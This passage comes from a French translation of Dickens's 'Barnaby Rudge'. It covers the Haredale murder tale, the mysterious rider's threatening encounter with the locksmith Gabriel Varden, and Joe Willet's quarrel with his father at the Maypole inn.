+racontai mon aventure à mes voisins. Quelques-uns l'écoutèrent
+sérieusement, d'autres n'en firent que rire; je crois qu'au fond
+personne n'y voulut croire. Mais ce matin-là, on trouva M. Reuben
+Haredale assassiné dans sa chambre à coucher: il tenait à la main
+un morceau de la corde attachée à une cloche d'alarme en dehors du
+toit; cette corde pendait dans sa chambre, et elle avait été
+coupée en deux, sans aucun doute par l'assassin, lorsque sa
+victime l'avait saisie.
+
+«La cloche que j'avais entendue, c'était celle-là.
+
+«On trouva un secrétaire ouvert; une cassette, que M. Haredale
+avait apportée la veille et qu'on supposait renfermer une grosse
+somme d'argent, avait disparu. L'intendant et le jardinier
+n'étaient plus là ni l'un ni l'autre, et tous deux furent
+longtemps soupçonnés; mais on ne parvint jamais à les trouver,
+quoiqu'on les cherchât bien loin, bien loin. On aurait pu chercher
+encore plus loin l'intendant, le pauvre M. Rudge: car son corps, à
+peine reconnaissable sans ses vêtements, sans la montre et
+l'anneau qu'il portait, fut trouvé, des mois après, au fond d'une
+pièce d'eau, dans les terres du domaine, avec une blessure béante
+à la poitrine: il avait été frappé d'un coup de couteau. Il était
+à moitié vêtu, et tout le monde s'accorda à dire qu'il était en
+train de lire dans sa chambre, qu'on trouva pleine de traces de
+sang, quand on était tombé soudainement sur lui pour le tuer avant
+son maître.
+
+«Chacun reconnut alors que c'était le jardinier qui devait être
+l'assassin, et, quoiqu'on n'en ait jamais entendu parler depuis
+cette époque jusqu'à présent, on en entendra parler; prenez note
+de ce que je vous dis là. Le crime a été commis il y a vingt-deux
+ans, jour pour jour, le 19 mars 1753. Le 19 mars d'une année
+quelconque, peu importe quand... je sais toujours bien, et j'en
+suis sûr, parce que toujours, d'une manière quelconque, et par une
+coïncidence étrange, nous avons été ramenés à en parler, ce même
+jour, depuis l'événement... le 19 mars d'une année quelconque, tôt
+ou tard cet homme-là sera découvert.»
+
+
+
+
+CHAPITRE II.
+
+
+«Voilà une étrange histoire! dit l'homme qui avait donné lieu au
+récit, plus étrange encore si votre prédiction se réalise. Est-ce
+tout?»
+
+Une question tellement inattendue ne piqua pas peu Salomon Daisy.
+À force de raconter cette histoire très souvent, et de l'embellir,
+disait-on au village, de quelques additions que lui suggéraient de
+temps à autre ses divers auditeurs, il en était venu par degrés à
+produire en la racontant un grand effet; et ce «Est-ce tout?»
+après le crescendo d'intérêt, certes, il ne s'y attendait guère.
+
+«Est-ce tout? répéta le sacristain; oui, monsieur, oui, c'est
+tout. Et c'est bien assez, je pense.
+
+-- Moi, de même. Mon cheval, jeune homme. Ce n'est qu'une rosse,
+louée à une maison de poste sur la route; mais il faut que
+l'animal me porte à Londres ce soir.
+
+-- Ce soir! dit Joe.
+
+-- Ce soir, répliqua l'autre. Qu'avez-vous à vous ébahir? Cette
+taverne a l'air d'être le rendez-vous de tous les gobe-mouches du
+voisinage.»
+
+En entendant cette évidente allusion à l'examen qu'on lui avait
+fait subir, comme nous l'avons mentionné dans le précédent
+chapitre, les yeux de John Willet et de ses amis se dirigèrent de
+nouveau vers le chaudron de cuivre avec une rapidité merveilleuse.
+Il n'en fut pas ainsi de Joe, garçon plein d'ardeur, qui soutint
+d'un regard ferme l'oeillade irritée de l'inconnu, et lui
+répondit:
+
+«Il n'y a pas grande hardiesse à s'étonner que vous partiez ce
+soir. Certainement une question si inoffensive vous a été faite
+déjà dans quelque auberge, et surtout par un temps meilleur que
+celui-ci. Je supposais que vous pouviez ne pas connaître la route,
+puisque vous semblez étranger à ce pays.
+
+-- La route? répéta l'autre d'un ton agacé.
+
+-- Oui. La connaissez-vous?
+
+-- Je la... hum!... Je la trouverai bien, répliqua l'homme en
+agitant la main et en tournant sur ses talons. L'aubergiste,
+payez-vous.»
+
+John Willet fit ce que désirait son hôte: car, sur cet article,
+rarement montrait-il de la lenteur, sauf lorsqu'il y avait des
+détails de change, parce qu'alors il lui fallait constater si
+chaque pièce d'argent qu'on lui présentait au comptoir était
+bonne, l'essayer avec ses dents ou sa langue, la soumettre à toute
+autre épreuve, ou, dans le cas douteux, à une série de
+contestations terminées par un rejet formel. L'homme, son compte
+réglé, s'enveloppa de ses vêtements de manière à se garantir le
+plus possible du temps atroce qu'il faisait, et, sans le moindre
+mot ou signe d'adieu, il alla vers l'écurie. Joe, qui avait quitté
+la salle après leur court dialogue, était dans la cour, s'abritant
+de la pluie, ainsi que le cheval, sous le toit en auvent d'un
+vieux hangar.
+
+«Il est joliment de mon avis, dit Joe en tapotant le cou du
+cheval; je gagerais qu'il serait plus charmé de vous voir rester
+ici cette nuit que je ne le serais moi-même.
+
+-- Lui et moi ne sommes pas d'accord, comme cela nous est arrivé
+plus d'une fois dans notre passage sur cette route-ci, fut la
+brève réponse.
+
+-- C'est ce que je pensais avant votre sortie de la salle, car il
+paraît qu'elle a senti vos éperons, la pauvre bête.»
+
+L'étranger, sans répondre, ajusta autour de sa figure le collet de
+sa redingote.
+
+«Vous me reconnaîtrez, à ce que je vois, dit-il lorsqu'il eut
+sauté en selle, car il remarqua la vive attention du jeune gars.
+
+-- Un homme mérite bien qu'on s'en souvienne, maître, quand il
+fait une route qu'il ne connaît pas, sur un cheval éreinté, et
+qu'il abandonne pour cela un bon gîte par une soirée comme celle-
+ci.
+
+-- Il me paraît que vous avez des yeux perçants et une langue bien
+affilée.
+
+-- C'est un double don de nature, j'imagine; mais le dernier se
+rouille quelquefois, faute de m'en servir.
+
+-- Servez-vous moins aussi du premier. Réservez vos yeux perçants
+pour vos bonnes amies, mon garçon.»
+
+En parlant ainsi, l'homme secoua la bride que Joe tenait d'une
+main; il le frappa rudement sur la tête avec la poignée de son
+fouet, et partit au galop, s'élançant à travers la boue et
+l'obscurité avec une vitesse impétueuse, dont peu de cavaliers mal
+montés auraient voulu suivre l'imprudent exemple, eussent-ils été
+même très familiarisés avec le pays: pour quelqu'un qui ne
+connaissait nullement la route, c'était s'exposer à chaque pas aux
+plus grands dangers.
+
+Les routes d'alors, même dans un rayon de douze milles de Londres,
+étaient mal pavées, rarement réparées, et très pauvrement
+établies. Ce cavalier en prenait une qui avait été labourée par
+les roues de pesants chariots, et gâtée par les gelées et les
+dégels de l'hiver précédent, et peut-être même de beaucoup
+d'hivers antérieurs. Le sol était miné; il y avait de grands trous
+et des crevasses, difficiles à distinguer même durant le jour, à
+cause de l'eau des dernières pluies qui les remplissait. Un
+plongeon dans l'une de ces cavités aurait pu faire choir un cheval
+ayant le pied plus sûr que la pauvre bête lancée à fond de train
+et jusqu'aux limites suprêmes de ses forces. Des cailloux
+tranchants et des pierres roulaient sans cesse de dessous ses
+sabots; le cavalier voyait à peine au delà des oreilles de sa
+monture, ou plus loin de chaque côté que la longueur de son bras.
+À cette époque aussi des voleurs à pied et des brigands à cheval
+infestaient toutes les routes dans le voisinage de la capitale, et
+c'était une nuit, entre toutes les autres, pendant laquelle cette
+classe de malfaiteurs pouvait presque, sans crainte d'être
+découverte, vaquer à sa profession illégale. Toujours est-il que
+le voyageur courait ainsi au triple galop, ne s'inquiétant ni de
+la boue, ni de l'eau qui tombait sur sa tête, ni de la profonde
+obscurité de la nuit, ni de la rencontre fort probable de quelques
+rôdeurs, capables de tout. À chaque détour, à chaque angle, là
+même où l'on pouvait le moins s'attendre à un coude du chemin, et
+où l'on ne pouvait le voir qu'en arrivant dessus, il manoeuvrait
+la bride sans se tromper, gardant toujours le milieu de la
+chaussée. C'est de la sorte qu'il accélérait sa course en se
+dressant sur les étriers, en penchant son corps en avant, presque
+couché sur le cou du cheval, et en faisant claquer son lourd fouet
+au-dessus de sa tête avec une ardeur enragée.
+
+Il y a des heures où, les éléments étant émus d'une manière
+insolite, ceux qui se livrent corps et âme à d'audacieuses
+entreprises, ou qui sont agités par de grandes pensées, soit pour
+le bien soit pour le mal, éprouvent une mystérieuse sympathie avec
+le tumulte de la nature, auquel ils répondent par un transport
+plein de violence. Parmi le tonnerre, l'éclair et la tempête,
+beaucoup d'actes terribles se sont accomplis; des hommes qui
+s'étaient possédés auparavant ont soudain déchaîné leurs passions
+en révolte. Les démons de la colère et du désespoir se sont
+évertués à rivaliser avec ceux qui chevauchent sur le tourbillon
+et dirigent la tempête; et l'homme, fouetté à en devenir fou par
+les vents rugissants et les eaux bouillonnantes, s'est senti alors
+aussi farouche, aussi impitoyable que les éléments eux-mêmes.
+
+Soit que le voyageur fut en proie à des pensées que les fureurs de
+la nuit avaient échauffées et fait bondir comme un torrent
+fougueux, soit qu'un puissant motif le poussât à atteindre le but
+de son voyage, il volait, plus semblable à un fantôme poursuivi
+par la meute mystérieuse qu'à un homme, et il ne s'arrêta pas,
+jusqu'à ce que, arrivant à un carrefour dont l'une des branches
+conduisait par un plus long trajet au point d'où il était parti
+naguère, il allât donner si soudainement sur une voiture qui
+venait vers lui, que, dans son effort pour l'éviter, il abattit
+presque son cheval, et faillit être jeté à terre.
+
+«Hoho! cria la voix d'un homme. Qu'est-ce qu'il y a? Qui va là?
+
+-- Un ami! répondit le voyageur.
+
+-- Un ami! répéta la voix. Mais qui donc s'appelle un ami et
+galope de cette façon, abusant des bienfaits du ciel, représentés
+par un pauvre cheval, et mettant en péril, non seulement son
+propre cou, ce qui n'aurait pas grande importance, mais encore le
+cou d'autrui?
+
+-- Vous avez une lanterne, à ce que je vois, dit le voyageur en
+sautant à bas de sa monture. Prêtez-la-moi pour un moment. Je
+crois que vous avez blessé mon cheval avec votre timon ou votre
+roue.
+
+-- Le blesser! cria l'autre; si je ne l'ai pas tué, ce n'est pas
+votre faute, à vous. Quelle idée de galoper comme ça sur le pavé
+du roi! Pourquoi donc, hein?
+
+-- Donnez-moi la lumière, répliqua le voyageur l'arrachant de sa
+main, et ne faites pas d'inutiles questions à un homme qui n'est
+pas d'humeur à causer.
+
+-- Si vous m'aviez dit d'abord que vous n'étiez pas d'humeur à
+causer, je n'aurais peut-être pas été d'humeur à vous éclairer,
+dit la voix. Néanmoins, comme c'est le pauvre cheval qui est
+endommagé et non pas vous, l'un de vous deux, à tout hasard, est
+le bienvenu au falot; et ce n'est toujours pas le plus hargneux
+des deux.»
+
+Le voyageur ne riposta point à ces paroles, mais approchant la
+lumière de la bête haletante et fumante, il examina ses membres et
+son corps. Cependant l'autre homme restait fort tranquillement
+assis dans sa voiture, espèce de chaise, avec une manne contenant
+un gros sac d'outils, et il regardait d'un oeil attentif comment
+s'y prenait le cavalier.
+
+L'observateur était un robuste villageois, tout rond, à la figure
+rougeaude, avec un double menton et une voix sonore qui dénotaient
+bonne nourriture, bon sommeil, bonne humeur et bonne santé. Il
+avait passé la fleur de l'âge; mais le temps, ce patriarche, n'est
+pas toujours un rude père, et, quoiqu'il ne soit en retard pour
+aucun de ses enfants, il pose souvent une main plus légère sur
+ceux qui ont bien agi à son égard; il est inexorable pour en faire
+de vieux hommes et de vieilles femmes, mais il laisse leurs coeurs
+et leurs esprits jeunes et en pleine vigueur. Chez de pareilles
+gens, les frimas de la tête ne sont que l'empreinte de la main du
+grand vieillard lorsqu'il leur donne sa bénédiction, et chaque
+ride n'est qu'une coche dans le paisible calendrier d'une vie bien
+dépensée.
+
+Celui que le voyageur avait rencontré d'une façon si subite était
+une personne de ce genre-là, un homme assez gros, solide, très
+vert dans sa vieillesse, en paix avec lui-même et évidemment
+disposé à l'être avec les autres. Quoique emmitouflé de divers
+vêtements et foulards dont l'un, passé par-dessus le haut de sa
+tête et noué à un pli propice de son double menton, empêchait son
+chapeau à trois cornes et sa petite perruque ronde d'être emportés
+par un coup de vent, il n'y avait pas moyen qu'il pût dissimuler
+son embonpoint et sa figure rebondie; certaines marques de doigts
+salis qui s'étaient essuyés sur son visage ajoutaient seulement à
+son expression bizarre et comique, sans diminuer en rien l'éclat
+de sa bonne humeur naturelle.
+
+«Il n'est pas blessé, dit enfin le voyageur, relevant à la fois sa
+tête et la lanterne.
+
+-- Vous avez donc fini par découvrir ça? répondit le vieillard.
+Mes yeux ont été jadis meilleurs que les vôtres; mais aujourd'hui
+encore je n'en changerais pas avec vous.
+
+-- Que voulez-vous dire?
+
+-- Ce que je veux dire! c'est que je vous aurais bien dit, il y a
+cinq minutes, qu'il n'était pas blessé. Donnez-moi la lumière,
+l'ami; continuez votre chemin, et galopez plus doucement; bonne
+nuit.»
+
+En tendant la lanterne, l'homme dut lancer ses rayons en plein sur
+la figure de son interlocuteur. Leurs yeux se rencontrèrent au
+même instant. Il laissa tout à coup tomber le falot et l'écrasa
+sous son pied.
+
+«N'avez-vous donc jamais vu jusqu'ici de figure de serrurier, pour
+tressaillir comme si vous vous trouviez en face d'un fantôme? cria
+le vieillard dans sa voiture; ou bien serait-ce, ajouta-t-il très
+vite en fourrant sa main dans la manne aux outils et en tirant de
+là un marteau, quelque ruse de voleur? Je connais ces routes-ci,
+mon cher. Quand j'y voyage, je n'ai sur moi que quelques
+shillings, à peine la valeur d'une couronne. Je vous déclare
+franchement, pour nous épargner à tous deux de l'embarras, qu'il
+n'y a rien à attendre de moi qu'un bras assez vigoureux pour mon
+âge, et cet outil dont, par une longue habitude, je peux me servir
+assez prestement. Tout n'ira pas à votre gré, je vous le promets,
+si vous tâtez de ce jeu-là.»
+
+En disant ces mots, il se tint sur la défensive.
+
+«Je ne suis pas ce que vous me croyez, Gabriel Varden, repartit
+l'autre.
+
+-- Qu'êtes-vous alors et qui êtes-vous? répliqua le serrurier.
+Vous savez mon nom, à ce qu'il paraît? Que je sache donc le vôtre.
+
+-- Ce que je sais, je n'en suis pas redevable à une confidence de
+votre part, mais à la plaque de votre chariot; elle en informe
+toute la ville.
+
+-- Alors vous avez de meilleurs yeux pour cela que pour votre
+cheval, dit Varden, descendant de sa chaise avec agilité; qui
+êtes-vous? Voyons votre figure.»
+
+Pendant que le serrurier descendait, le voyageur s'était remis en
+selle, et de là il avait à présent en face de lui le vieillard
+qui, suivant tous les mouvements du cheval plein d'impatience sous
+la bride serrée, se tenait le plus près possible de son inconnu.
+
+«Mais voyons donc votre figure.
+
+-- Reculez-vous.
+
+-- Allons, pas de mascarades ici! dit le serrurier. Je ne veux pas
+que l'on raconte demain au club que Gabriel Varden s'est laissé
+effrayer par un homme qui faisait la grosse voix dans une nuit
+ténébreuse. Halte-là! Voyons votre figure.»
+
+Sentant que résister davantage n'aurait d'autre résultat que de le
+mettre aux prises avec un adversaire qui n'était nullement
+méprisable, le voyageur rejeta en arrière le collet de sa
+redingote et se baissa en regardant fixement le serrurier.
+
+Jamais peut-être deux hommes offrant un plus frappant contraste ne
+se trouvèrent face à face. Les traits rougeauds du serrurier
+donnaient un tel relief à l'excessive pâleur de l'homme à cheval,
+qu'il avait l'air d'un spectre privé de sang; la sueur dont cette
+rude course avait humecté son visage y pendait en grosses gouttes
+noires, comme une rosée d'agonie et de mort. La physionomie du
+serrurier s'illuminait d'un sourire: c'était bien là un homme qui
+s'attendait à surprendre dans l'étranger suspect quelque malice
+cachée de l'oeil ou de la lèvre pour lui révéler une de ses
+connaissances familières sous ce subtil déguisement, et détruire
+le charme de la mystification. La figure de l'autre, sombre et
+farouche, mais contractée aussi, était celle d'un homme réduit aux
+abois, tandis que ses mâchoires serrées, sa bouche grimaçante, et,
+plus que tout cela, un mouvement furtif de sa main dans sa
+poitrine, semblaient trahir une intention terrible, qui n'avait
+rien de la pantomime d'un acteur ou des jeux d'un enfant.
+
+Pendant quelque temps ils se regardèrent ainsi l'un et l'autre en
+silence.
+
+«Hum! dit le serrurier lorsqu'il eut examiné les traits du
+voyageur; je ne vous connais pas.
+
+-- N'en ayez plus l'envie, répondit l'autre en s'enveloppant comme
+il l'était avant.
+
+-- Ma foi non, dit Gabriel; à vous parler franc, mon cher, vous ne
+portez pas sur votre figure une lettre de recommandation.
+
+-- Je ne le désire pas, dit le voyageur. Ce qui me plaît, c'est
+qu'on m'évite.
+
+-- Oh! vous ne serez pas gêné dans vos goûts, dit le serrurier
+d'un ton brusque.
+
+-- Je ne le serai pas, coûte que coûte, répliqua le voyageur. Pour
+preuve de cela, pénétrez-vous bien de ce que je vais vous dire:
+jamais dans toute votre vie vous n'avez couru un plus grand danger
+que durant ce peu d'instants; lorsque vous serez à cinq minutes de
+votre dernier soupir; vous ne serez pas plus près de la mort que
+vous ne l'avez été ce soir.
+
+-- Oui-da! dit le robuste serrurier.
+
+-- Oui! et d'une mort violente.
+
+-- Venant de quelle main?
+
+-- De la mienne,» répliqua le voyageur.
+
+Là-dessus il éperonna son cheval et partit. Ce ne fut d'abord
+qu'un pas accentué; il trottait lourdement au beau milieu des
+éclaboussures; mais par degrés sa vitesse alla croissante, jusqu'à
+ce que le dernier son des sabots du cheval fut emporté par le
+vent: alors il se précipitait derechef d'un galop aussi furieux
+que celui qui avait occasionné sa rencontre avec le serrurier.
+
+Gabriel Varden resta debout sur la route avec sa lanterne brisée à
+la main, stupéfait, écoutant en silence, jusqu'à ce qu'aucun son
+n'arriva plus à ses oreilles que le gémissement du vent et le
+clapotement de la pluie. Enfin il se donna un ou deux bons coups
+sur la poitrine comme pour se réveiller, et il lança cette
+exclamation de surprise:
+
+«Que diable ce gaillard-là peut-il être? un fou? un voleur de
+grand chemin? un homme à vous couper la gorge? S'il n'avait pas
+filé si vite, nous aurions vu qui était le plus en danger, de lui
+ou moi. Ah! je n'ai jamais été plus près de la mort que ce soir!
+J'espère bien n'en pas être plus près d'une vingtaine d'années;
+et, à ce compte-là, je serai content de n'en pas être plus loin.
+Jour de Dieu! une jolie fanfaronnade à l'adresse d'un homme solide
+au poste. Fi! Fi!»
+
+Gabriel remonta dans sa voiture; il regarda d'un air pensif la
+route par laquelle était venu le voyageur, et il se chuchota à
+demi-voix les réflexions suivantes:
+
+«Le Maypole... deux milles d'ici au Maypole. J'ai pris l'autre
+route pour venir de la Garenne, après une longue journée de
+travail aux serrures et aux sonnettes. Mon but était de ne point
+passer par le Maypole, et de ne point manquer de parole à Marthe
+en y entrant. Superbe résolution! Il serait dangereux d'aller à
+Londres sans une lanterne allumée. Or, il y a quatre milles et un
+bon demi-mille en sus d'ici à Halfway-House[8], et c'est précisément
+entre ces deux points qu'on a le plus besoin de lumière. Deux
+milles d'ici au Maypole! J'ai dit à Marthe que je n'y entrerais
+pas, et je n'y suis pas entré. Superbe résolution!»
+
+Répétant souvent ces deux derniers mots, comme s'il eût voulu
+compenser le peu de résolution qu'il allait faire voir par l'éloge
+de tout ce qu'il avait montré de résolution, Gabriel Varden
+retourna tranquillement sa voiture, décidé à prendre une lumière
+au Maypole, mais à n'y prendre qu'une lumière.
+
+Toutefois, quand il fut arrivé au Maypole, et que Joe, répondant à
+son appel bien connu, s'élança dehors à la tête de son cheval,
+laissant la porte ouverte derrière lui, et dévoilant une
+perspective de chaleur et de splendeur; quand le vif éclat du
+foyer, ruisselant au travers des vieux rideaux rouges de la salle
+commune, parut apporter, comme une partie de lui-même, un agréable
+bourdonnement de voix, et une suave odeur de grog bouillant et de
+tabac exquis, le tout imbibé, pour ainsi dire, dans la joyeuse
+teinte brillante; lorsque les ombres, passant rapidement sur les
+rideaux, montrèrent que ceux de l'intérieur s'étaient levés de
+leurs bonnes places et s'occupaient d'en faire une pour le
+serrurier dans l'encoignure la plus confortable (il la connaissait
+trop bien, cette encoignure), et qu'une large clarté, jaillissant
+soudain, annonça l'excellence de la bûche pétillante, d'où une
+magnifique gerbe d'étincelles tourbillonnait sans doute au faîte
+de la cheminée dans le moment même, en l'honneur de son arrivée;
+lorsque, s'ajoutant à ces séductions, il se glissa jusqu'à lui de
+la lointaine cuisine un doux pétillement de friture, avec un
+cliquetis musical d'assiettes et de plats, et une odeur savoureuse
+qui changeait le vent impétueux en parfum, Gabriel sentit par tous
+ses pores sa fermeté s'en aller. Il essaya de regarder stoïquement
+la taverne, mais ses traits s'amollirent en un regard de
+tendresse. Il tourna la tête de l'autre côté; mais la campagne
+froide et noire, à l'aspect rébarbatif, parut l'inviter à chercher
+un refuge dans les bras hospitaliers du Maypole.
+
+«L'homme vraiment humain, Joe, dit le serrurier, est humain pour
+sa bête. Je vais entrer un petit instant.»
+
+Et, en effet, n'était-il pas bien naturel d'entrer? ne semblait-il
+pas contre nature, au contraire, à un homme sage de trimer dans le
+gâchis des routes, en affrontant les rudes coups de vent et la
+pluie battante, lorsqu'il y avait là un plancher propre, couvert
+d'un sable blanc qui craquait sous le pied, un âtre bien balayé,
+un feu flambant, une table parée de linge d'une blancheur
+parfaite, des cannelles d'étain éblouissantes, et d'autres
+préparatifs fort tentants d'un repas bien accommodé; lorsqu'il y
+avait là de pareilles choses et une compagnie disposée à y faire
+honneur, tout cela sous sa main et le conviant avec instance au
+plaisir!
+
+
+
+
+CHAPITRE III.
+
+
+Telles furent les pensées du serrurier lorsqu'il s'assit d'abord
+dans la confortable encoignure, se remettant peu à peu de
+l'agréable défaillance de sa vue: agréable, disons-nous, parce
+que, comme elle provenait du vent qui lui avait soufflé dans les
+yeux, elle l'autorisait, par égard pour lui-même, à chercher un
+abri contre le mauvais temps. C'est encore le même motif qui lui
+donna la tentation d'exagérer une toux légère, et de déclarer
+qu'il ne se sentait pas trop à son aise. Cela se prolongea plus
+d'une grande heure après, lorsqu'il alla, le souper fini, se
+rasseoir dans le bon coin bien chaud, écoutant le petit Salomon
+Daisy, dont la voix ressemblait au gazouillement du grillon, et
+prenant avec une importance réelle sa bonne part du bavardage
+commun autour de l'âtre du Maypole.
+
+«Tout ce que je souhaite, c'est que ce soit un honnête homme, dit
+Salomon (qui résumait diverses conjectures relatives à l'étranger,
+car Gabriel avait comparé ses observations avec celles de la
+compagnie, et soulevé par là une grave discussion), oui, je
+souhaite que ce soit un honnête homme.
+
+-- Nous le souhaitons tous aussi, je suppose. N'est-ce pas, vous
+autres? ajouta le serrurier.
+
+-- Moi, non, dit Joe.
+
+-- Vraiment? s'écria Gabriel.
+
+-- Non, certes. Il m'a frappé avec son fouet, le lâche, étant à
+cheval et moi à pied. J'aimerais mieux qu'il fût, en définitive,
+ce que je crois qu'il est.
+
+-- Et que peut-il être, Joe?
+
+-- Rien de bon, monsieur Varden. Vous avez beau secouer la tête,
+père, je dis que cet homme-là n'est rien de bon, je répète que ce
+n'est rien de bon, et je le répéterais cent fois, si cela pouvait
+le faire revenir pour avoir la volée qu'il mérite.
+
+-- Taisez-vous, monsieur, dit John Willet.
+
+-- Père, je ne me tairai pas. C'est bien grâce à vous qu'il a osé
+faire ce qu'il a fait. Il m'a vu traiter comme un enfant, humilier
+comme un imbécile, ça lui a donné du coeur, et il a voulu aussi
+malmener un jeune homme qu'il s'imagine, chose fort naturelle,
+n'avoir pas un brin de caractère, mais il se trompe, je le lui
+ferai voir, et je vous le ferai voir à tous avant peu.
+
+-- Ce garçon là sait il bien ce qu'il dit? cria John Willet,
+grandement étonné.
+
+-- Père, répliqua Joe, je sais bien ce que je dis et ce que je
+veux dire beaucoup mieux que vous ne faites quand vous m'écoutez.
+De votre part j'endurerais tout; mais le moyen d'endurer le mépris
+que la manière dont vous me traitez m'attire chaque jour de la
+part des autres? Voyez les jeunes gens de mon âge: n'ont-ils ni la
+liberté ni le droit de parler quand ils veulent? Les oblige-t-on
+d'être assis comme au jeu de bouche cousue; d'être aux ordres de
+tout le monde; enfin, de devenir le plastron des jeunes et des
+vieux? Je suis la fable de tout Chigwell, et je vous déclare,
+mieux vaut vous le dire à présent que d'attendre votre mort et
+votre héritage, je vous déclare qu'avant peu je serai réduit à
+briser de pareils liens, et que, quand je l'aurai fait, ce ne sera
+pas de moi que vous aurez à vous plaindre, mais de vous-même, et
+de nul autre que vous.»
+
+John Willet fut tellement confondu de l'exaspération et de
+l'audace de son digne fils, qu'il resta sur sa chaise comme un
+homme dont l'esprit est égaré. Il regarda fixement avec un sérieux
+risible le chaudron de cuivre, et chercha, mais sans pouvoir y
+parvenir, à rassembler ses pensées retardataires et à trouver une
+réponse. Les assistants, presque aussi troublés que lui, étaient
+dans un égal embarras. Enfin, avec diverses expressions de
+condoléance marmottées à demi-voix, et des espèces de conseils,
+ils se levèrent pour partir, d'autant plus qu'ils avaient une
+pointe de liqueur.
+
+Seul, notre brave serrurier adressa quelques mots suivis et des
+conseils sensés aux deux parties, en pressant John Willet de se
+souvenir que Joe allait atteindre l'âge viril et ne devait plus
+être mené comme un enfant; en exhortant Joe, de son côté, à
+supporter les caprices de son père et à tâcher de les vaincre
+plutôt par des représentations modérées que par une rébellion
+intempestive. Ces conseils furent reçus comme se reçoivent
+habituellement de semblables conseils. Cela ne fit guère plus
+d'impression sur John Willet que sur l'enseigne extérieure de
+l'auberge; tandis que Joe, qui prit la chose aussi bien que
+possible, le remercia de tout son coeur, mais en déclarant
+poliment son intention de n'en faire, toutefois, qu'à sa tête,
+sans se laisser influencer par personne.
+
+«Vous avez toujours été un excellent ami pour moi, monsieur
+Varden, dit-il comme ils étaient hors du porche, et que le
+serrurier s'équipait pour retourner à la maison; je sais que c'est
+par pure bonté que vous me dites ça; mais le temps est quasi venu
+où, le Maypole et moi, il faudra nous séparer.
+
+-- Pierre qui roule n'amasse pas mousse, Joe, dit Gabriel.
+
+-- Les bornes de la route n'en amassent pas beaucoup non plus,
+répliqua Joe, et, si je ne suis pas ici comme une borne, je n'en
+vaux guère mieux, et je ne vois guère plus de monde.
+
+-- Alors, que voudriez-vous faire, Joe? poursuivit le serrurier,
+qui se frottait doucement le menton d'un air réfléchi. Que
+pourriez-vous être? où pourriez-vous aller? songez-y!
+
+-- Je dois me fier à ma bonne étoile, monsieur Varden.
+
+-- Mauvaise chose. Ne vous y fiez pas. Je n'aime point ça. Je dis
+toujours à ma fille, quand nous causons d'un mari pour elle, de ne
+jamais se fier à sa bonne étoile, mais de s'assurer d'avance un
+excellent homme, un fidèle époux, parce que, une fois en ménage,
+ce ne sera pas son étoile qui la rendra riche ni pauvre, heureuse
+ni malheureuse. Mais qu'avez-vous donc à vous remuer comme ça,
+Joe? Il ne manque rien au harnais, j'espère?
+
+-- Non, non, dit Joe, trouvant néanmoins quelques sangles de plus
+à serrer, quelques boucles de plus à rattacher. Mamzelle Dolly[9] va
+tout à fait bien?
+
+-- Très bien, merci. Elle a l'air de devenir assez gentille et pas
+trop méchante.
+
+-- Pour ce qui est de ça, c'est bien vrai, monsieur Varden.
+
+-- Oui, oui, Dieu merci.
+
+-- J'espère, dit Joe après un peu d'hésitation, que vous ne
+parlerez pas de ma sotte histoire, du horion que j'ai reçu comme
+si j'étais un petit garçon, car c'est comme ça qu'on me traite
+ici, du moins jusqu'à ce que j'aie pu rattraper mon individu et
+régler mon compte avec lui. Alors, je vous permettrai d'en parler.
+
+-- En parler! mais à qui en parlerais-je? On le sait ici, et je ne
+rencontrerai probablement nulle autre personne ailleurs qui se
+soucie de le savoir.
+
+-- C'est bien vrai, dit le jeune homme en soupirant. J'avais
+complètement oublié ça; oui, c'est vrai, bien vrai!»
+
+En disant ces mots, il se redressa, la figure toute rouge, sans
+doute à cause des efforts qu'il avait faits pour sangler et
+boucler partout; puis, donnant les rênes au serrurier, qui avait
+pris place dans sa voiture, il soupira derechef, et lui souhaita
+le bonsoir.
+
+«Bonsoir! cria Gabriel. Réfléchissez maintenant à ce que nous
+venons de dire; ayez des idées plus saines. Pas de coups de tête.
+Vous êtes un brave garçon; je m'intéresse à vous, et je serais
+désolé de vous voir vous mettre vous-même sur le pavé. Bonsoir!»
+
+Répondant par un souhait cordial à son adieu encourageant, Joe
+musa jusqu'à ce que le bruit des roues eût cessé de vibrer dans
+ses oreilles, et alors, secouant la tête avec tristesse, il
+rentra.
+
+Gabriel se dirigeait vers Londres, pensant à une foule de choses,
+et surtout au style bouillant dans lequel il raconterait son
+aventure, et se justifierait ainsi auprès de Mme Varden d'avoir
+rendu visite au Maypole, en dépit de certaines conventions
+solennelles entre lui et cette dame. La méditation n'engendre pas
+seulement la pensée, mais quelquefois aussi l'assoupissement; or,
+plus le serrurier méditait, plus il avait envie de dormir.
+
+Un homme peut bien être très sobre, ou du moins se tenir encore
+ferme sur ce terrain neutre qui sépare les confins de la parfaite
+sobriété et d'un petit coup de trop, et sentir pourtant une forte
+tendance à mêler dans son esprit des circonstances présentes avec
+d'autres qui ne s'y rattachent en rien; à confondre toute
+considération de personnes, de temps et de lieux; à rassembler ses
+pensées disjointes dans une espèce de brouillamini, de
+kaléidoscope mental qui produit des combinaisons aussi inattendues
+que fugitives. Tel était l'état de Gabriel Varden, lorsque,
+piquant de la tête dans son coquin de sommeil, et laissant son
+cheval suivre une route qu'il connaissait bien, il gagnait pays
+sans en avoir conscience, et approchait de plus en plus de la
+maison. Il s'était réveillé une fois, quand le cheval s'était
+arrêté jusqu'à ce que la barrière fût ouverte, et il avait crié un
+vigoureux: «Bonsoir!» au péager; mais il venait déjà de faire un
+rêve où il crochetait une serrure dans l'estomac du Grand Mogol,
+et même après son réveil il amalgamait le garde-barrière avec
+l'image de sa propre belle-mère, morte depuis vingt ans. On ne
+saurait donc s'étonner s'il se rendormit bientôt, et si, malgré de
+rares cahots tout le long du chemin, il ne s'aperçut pas de son
+voyage.
+
+Et maintenant il approchait de la grande cité, qui s'étendait
+devant lui comme une ombre noire sur le sol, et rougissait l'air
+d'une immense et terne lumière, annonçant des labyrinthes de rues
+et de boutiques, et des essaims de gens affairés. Lorsqu'il
+approcha encore davantage, ce halo commença à s'effacer, et les
+causes qui le produisaient se développèrent lentement elles-mêmes.
+On put distinguer à peine de longues lignes de rues mal éclairées,
+avec, çà et là, quelque point plus lumineux, où les réverbères
+plus nombreux se groupaient autour d'un square, d'un marché ou
+d'un grand édifice. Au bout de quelque temps, tout devint plus
+distinct, et on put voir les réverbères eux-mêmes, comme des
+taches jaunes qui semblaient rapidement s'éteindre l'une après
+l'autre lorsque des obstacles successifs les dérobaient à la vue.
+Puis, ce furent toute sorte de bruits, l'heure qui sonnait aux
